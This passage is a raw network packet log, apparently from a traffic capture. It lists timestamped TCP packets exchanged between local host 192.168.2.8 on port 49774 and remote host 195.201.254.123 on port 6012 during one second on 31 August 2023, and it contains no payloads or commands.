Aug 31, 2023 16:50:49.915321112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915328979 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915353060 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915369034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915402889 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915411949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915443897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915471077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915472984 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915520906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915529013 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915580034 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921113014 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921168089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921216965 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921262980 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921266079 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921266079 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921267033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921310902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921319008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921360016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921406031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921422005 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921422005 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921456099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921473026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921513081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921555042 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921561003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921582937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921610117 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921632051 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921658039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921678066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921706915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921725035 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921757936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921771049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921806097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921833992 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921853065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921878099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921901941 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921932936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921948910 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.921977043 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.921998024 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922017097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922045946 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922063112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922092915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922116995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922141075 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922154903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922188044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922204971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922235966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922250032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922285080 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922300100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922333002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922349930 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922380924 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922399998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922429085 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922446966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922477007 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922492981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922525883 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922539949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922573090 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922590971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922620058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922636032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922667980 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922683001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922714949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922729969 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922765970 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922772884 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922816038 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922827959 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922868967 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922884941 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922919035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922935963 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.922972918 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.922986031 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923029900 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923043966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923094034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923109055 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923141003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923154116 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923188925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923204899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923238039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923255920 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923288107 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923301935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923336983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923350096 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923384905 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923401117 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923432112 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923458099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923500061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923500061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923549891 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923564911 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923598051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923614025 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923645973 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923659086 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923695087 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923711061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923744917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.923758030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.923808098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.930576086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930624008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930665016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930680990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.930705070 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930723906 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.930723906 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.930747986 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930772066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.930788994 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930816889 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.930830002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930851936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.930872917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930896044 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.930913925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930953979 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.930960894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.931102991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.931102991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.936669111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.936718941 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.936758041 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.936796904 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.936806917 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.936808109 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.936836958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.936881065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.936883926 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.936883926 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.936908007 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.936922073 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.936953068 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.936960936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.936990023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937000036 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937036037 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937041044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937062025 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937078953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937109947 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937119007 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937158108 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937161922 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937184095 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937196016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937227964 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937236071 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937264919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937277079 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937314987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937318087 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937335968 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937359095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937377930 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937400103 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937423944 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937441111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937453032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937480927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937496901 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937522888 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937534094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937563896 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937582970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937604904 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.937623978 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.937663078 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945065022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945116997 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945163965 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945214033 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945214033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945214033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945257902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945260048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945281982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945313931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945326090 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945360899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945409060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945414066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945414066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945456028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945471048 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945516109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945517063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945563078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945579052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945620060 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945622921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945682049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945691109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945744038 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945749998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945791960 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945802927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945839882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945858002 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945888042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945903063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945954084 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945956945 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.945970058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.945997953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946017027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946038961 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946046114 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946062088 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946094990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946132898 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946141005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946156979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946190119 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946202040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946238041 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946253061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946285963 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946296930 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946333885 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946346045 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946382046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946388960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946429014 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946440935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946476936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946492910 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946525097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946537971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946572065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946589947 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946620941 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946629047 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946667910 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946676016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946716070 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946724892 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946765900 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946775913 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946814060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946825027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946861982 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946888924 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946908951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946917057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.946955919 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.946962118 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947005033 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947022915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947052002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947067976 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947101116 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947113991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947149992 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947158098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947197914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947206974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947256088 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947268009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947314024 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947331905 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947361946 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947402954 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947408915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947424889 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947474003 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947478056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947529078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947541952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947586060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947590113 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947633982 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947643995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947691917 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.947700024 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.947760105 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952253103 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952305079 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952352047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952367067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952368021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952399015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952410936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952446938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952455044 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952508926 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952510118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952558041 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952574968 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952604055 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952617884 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952652931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952660084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952701092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952716112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952753067 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.952769995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.952810049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.958765984 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.958822966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.958873987 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.958898067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.958940983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.958959103 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.958959103 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.958992004 CEST	6012	49774	195.201.254.123	192.168.2.8
